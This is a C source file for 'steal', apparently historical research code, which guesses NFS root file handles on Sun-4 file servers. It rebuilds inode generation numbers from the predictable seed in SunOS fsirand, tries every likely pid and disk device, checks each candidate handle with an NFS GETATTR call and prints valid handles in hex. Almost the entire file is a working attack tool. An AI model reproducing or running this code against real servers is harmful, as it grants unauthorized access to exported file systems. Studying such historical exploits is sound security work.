1 /*
2 * Copyright (c) 1990-1998 by Leendert van Doorn <leendert@paramecium.org>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions are met:
7 * * Redistributions of source code must retain the above copyright
8 * notice, this list of conditions and the following disclaimer.
9 * * Redistributions in binary form must reproduce the above copyright
10 * notice, this list of conditions and the following disclaimer in the
11 * documentation and/or other materials provided with the distribution.
12 * * Neither the name of Vrije Universiteit nor the names of its
13 * contributors may be used to endorse or promote products derived from
14 * this software without specific prior written permission.
15 *
16 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
17 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
18 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
19 * DISCLAIMED. IN NO EVENT SHALL LEENDERT VAN DOORN, OR VRIJE UNIVERSITEIT
20 * (AMSTERDAM) BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
23 * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
24 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
26 * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 */
28 /*
29 * steal - try to steal handles from a sun-4 NFS file server
30 */
31 #include <stdio.h>
32 #include <string.h>
33 #include <ctype.h>
34 #include <errno.h>
35 #include <netdb.h>
36 #include <rpc/rpc.h>
37 #include <sys/param.h>
38 #include <sys/socket.h>
39 #include <netinet/in.h>
40 #include <arpa/inet.h>
41 #include <sys/time.h>
42 #include <sys/vnode.h>
43 #include <sys/vfs.h>
44 #ifdef SYSV
45 #include <sys/inode.h>
46 #else
47 #include <ufs/inode.h>
48 #endif
49 #include "mount.h"
50 #include "nfs_prot.h"
51
52 /*
53 * This random seed is the constant value that the
54 * uninitialized variable ``timeval'' in fsirand contains.
55 */
56 #define SUN4_RANDOM (0 + 32)
57
58 /*
59 * Disk device descriptor (major/minor)
60 */
61 #define DSK_NMIN 16
62 struct disk {
63 int dsk_maj; /* major disk device number */
64 int dsk_min[16]; /* minor device table */
65 };
66
67 /*
68 * Device descriptor
69 */
70 #define DEV_NDISKS 2
71 struct device {
72 long dev_random; /* machine specific random seed */
73 int dev_pid; /* maximum pid to look at */
74 struct disk dev_disks[DEV_NDISKS]; /* disk table */
75 };
76
77 struct device device = {
78 { SUN4_RANDOM, 2000,
79 { 10, /* /dev/xd[01][a-h] */
80 { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
81 { 7, /* /dev/sd[01][a-h] */
82 { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
83 },
84 };
85
86 /*
87 * File system types, these correspond to entries in fsconf
88 */
89 #define MOUNT_UFS 1
90 #define MOUNT_NFS 2
91 #define MOUNT_PC 3
92 #define MOUNT_LO 4
93 #define MOUNT_TFS 5
94 #define MOUNT_TMP 6
95
96 /*
97 * This struct is only used to find the size of the data field in the
98 * fhandle structure below.
99 */
100 static struct fhsize {
101 fsid_t f1;
102 u_short f2;
103 char f3[4];
104 u_short f4;
105 char f5[4];
106 };
107 #define NFS_FHMAXDATA ((NFS_FHSIZE - sizeof (struct fhsize) + 8) / 2)
108
109 struct svcfh {
110 fsid_t fh_fsid; /* filesystem id */
111 u_short fh_len; /* file number length */
112 char fh_data[NFS_FHMAXDATA]; /* and data */
113 u_short fh_xlen; /* export file number length */
114 char fh_xdata[NFS_FHMAXDATA]; /* and data */
115 };
116
117 struct timeval timeout = { 60, 0 };
118 struct sockaddr_in server_addr;
119 CLIENT *client;
120
121 int handleok();
122 long random();
123
main(argc,argv)124 main(argc, argv)
125 int argc;
126 char **argv;
127 {
128 register int pid;
129 int sock = RPC_ANYSOCK;
130 char *host;
131
132 if (argc != 2) {
133 fprintf(stderr, "Usage: %s host\n", argv[0]);
134 exit(1);
135 }
136 host = argv[1];
137
138 /* convert hostname to IP address */
139 if (isdigit(*host)) {
140 server_addr.sin_addr.s_addr = inet_addr(host);
141 } else {
142 struct hostent *hp = gethostbyname(host);
143 if (hp == NULL) {
144 fprintf(stderr, "%s: unknown host\n", host);
145 exit(1);
146 }
147 bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
148 host = hp->h_name;
149 }
150 server_addr.sin_family = AF_INET;
151 server_addr.sin_port = 0;
152
153 /* setup communication channel with NFS daemon */
154 if ((client = clntudp_create(&server_addr,
155 NFS_PROGRAM, NFS_VERSION, timeout, &sock)) == NULL) {
156 clnt_pcreateerror(host);
157 exit(1);
158 }
159 clnt_control(client, CLSET_TIMEOUT, &timeout);
160 client->cl_auth = authunix_create_default(-2, -2);
161
162 /*
163 * For every likely process id, search through the list
164 * of likely devices and create a handle. Since the pid's
165 * used in fsirand are often low (<1000), it makes more
166 * sense to go through the devices first.
167 */
168 for (pid = 0; pid <= device.dev_pid; pid++) {
169 register int n, dsk;
170 long gen;
171
172 /* initialize generation generator */
173 srandom(1);
174 srandom(pid + device.dev_random);
175 n = pid;
176 while (n--) (void) random();
177
178 if ((pid % 100) == 0) printf("\tpid = %d\n", pid);
179
180 /* compute generation # for inode 2 */
181 (void) random(); /* inode 0 */
182 (void) random(); /* inode 1 */
183 gen = random();
184
185 /*
186 * Try every disk controler
187 */
188 for (dsk = 0; dsk < DEV_NDISKS; dsk++) {
189 register struct disk *dp = &device.dev_disks[dsk];
190 register int min, maj = dp->dsk_maj;
191
192 /*
193 * Try every disk. A minor number of -1 indicates that
194 * it has already been guessed.
195 */
196 for (min = 0; min < DSK_NMIN; min++) {
197 fhandle handle;
198
199 if(dp->dsk_min[min] == -1) continue;
200 makehandle(handle, maj, dp->dsk_min[min], 2, gen, 2, gen);
201 if (handleok(handle)) {
202 dp->dsk_min[min] = -1;
203 printhandle(handle);
204 break;
205 }
206 }
207 }
208 }
209
210 auth_destroy(client->cl_auth);
211 clnt_destroy(client);
212 exit(0);
213 }
214
215 /*
216 * Create a handle
217 */
218 makehandle(handle, maj, min, inum, gen, rinum, rgen)
219 struct svcfh *handle;
220 int maj, min;
221 long inum, gen;
222 long rinum, rgen;
223 {
224 handle->fh_fsid.val[0] = makedev(maj, min);
225 handle->fh_fsid.val[1] = MOUNT_UFS;
226
227 handle->fh_len = 10;
228 *((u_short *)&handle->fh_data[0]) = 0; /* length */
229 *((ino_t *)&handle->fh_data[2]) = inum; /* inode */
230 *((long *)&handle->fh_data[6]) = gen; /* generation number */
231
232 handle->fh_xlen = 10;
233 *((u_short *)&handle->fh_xdata[0]) = 0; /* length */
234 *((ino_t *)&handle->fh_xdata[2]) = rinum; /* inode */
235 *((long *)&handle->fh_xdata[6]) = rgen; /* generation number */
236 }
237
238 /*
239 * Just use some fast nfs rpc to check out the
240 * correctness of the handle.
241 */
242 int
handleok(handle)243 handleok(handle)
244 fhandle *handle;
245 {
246 attrstat *res;
247
248 if ((res = nfsproc_getattr_2(handle, client)) == NULL)
249 return 0;
250 if (res->status != NFS_OK)
251 return 0;
252 return 1;
253 }
254
255 printhandle(handle)
256 struct svcfh *handle;
257 {
258 register char *p;
259 register int i;
260
261 /* fsid[0] -> major, minor device number */
262 fprintf(stderr, "\t(%d,%d) ",
263 major(handle->fh_fsid.val[0]), minor(handle->fh_fsid.val[0]));
264
265 /* fsid[1] -> file system type */
266 switch (handle->fh_fsid.val[1]) {
267 case MOUNT_UFS: fprintf(stderr, "ufs "); break;
268 case MOUNT_NFS: fprintf(stderr, "nfs "); break;
269 case MOUNT_PC: fprintf(stderr, "pcfs "); break;
270 case MOUNT_LO: fprintf(stderr, "lofs "); break;
271 case MOUNT_TFS: fprintf(stderr, "tfs "); break;
272 case MOUNT_TMP: fprintf(stderr, "tmp "); break;
273 default: fprintf(stderr, "unknown "); break;
274 }
275
276 /* file number length, and data */
277 fprintf(stderr, "<%d,%ld,%ld> ",
278 *((u_short *)&handle->fh_data[0]),
279 *((ino_t *)&handle->fh_data[2]),
280 *((long *)&handle->fh_data[6]));
281
282 /* export file number length, and data */
283 fprintf(stderr, "<%d,%ld,%ld>\n",
284 *((u_short *)&handle->fh_xdata[0]),
285 *((ino_t *)&handle->fh_xdata[2]),
286 *((long *)&handle->fh_xdata[6]));
287
288 /* print handle in hex-decimal format (as input for nfs) */
289 fprintf(stderr, "handle:");
290 for (i = 0, p = (char *)handle; i < sizeof(struct svcfh); i++, p++)
291 fprintf(stderr, " %02x", *p & 0xFF);
292 fprintf(stderr, "\n");
293 }
294
295 /*
296 * Returns an auth handle with parameters determined by
297 * doing lots of syscalls.
298 */
299 AUTH *
authunix_create_default(uid,gid)300 authunix_create_default(uid, gid)
301 int uid, gid;
302 {
303 char machname[MAX_MACHINE_NAME + 1];
304 int gids[1];
305
306 if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
307 fprintf(stderr, "authunix_create_default: cannot get hostname\n");
308 exit(1);
309 }
310 machname[MAX_MACHINE_NAME] = 0;
311 gids[0] = gid;
312 return (authunix_create(machname, uid, gid, 1, gids));
313 }
314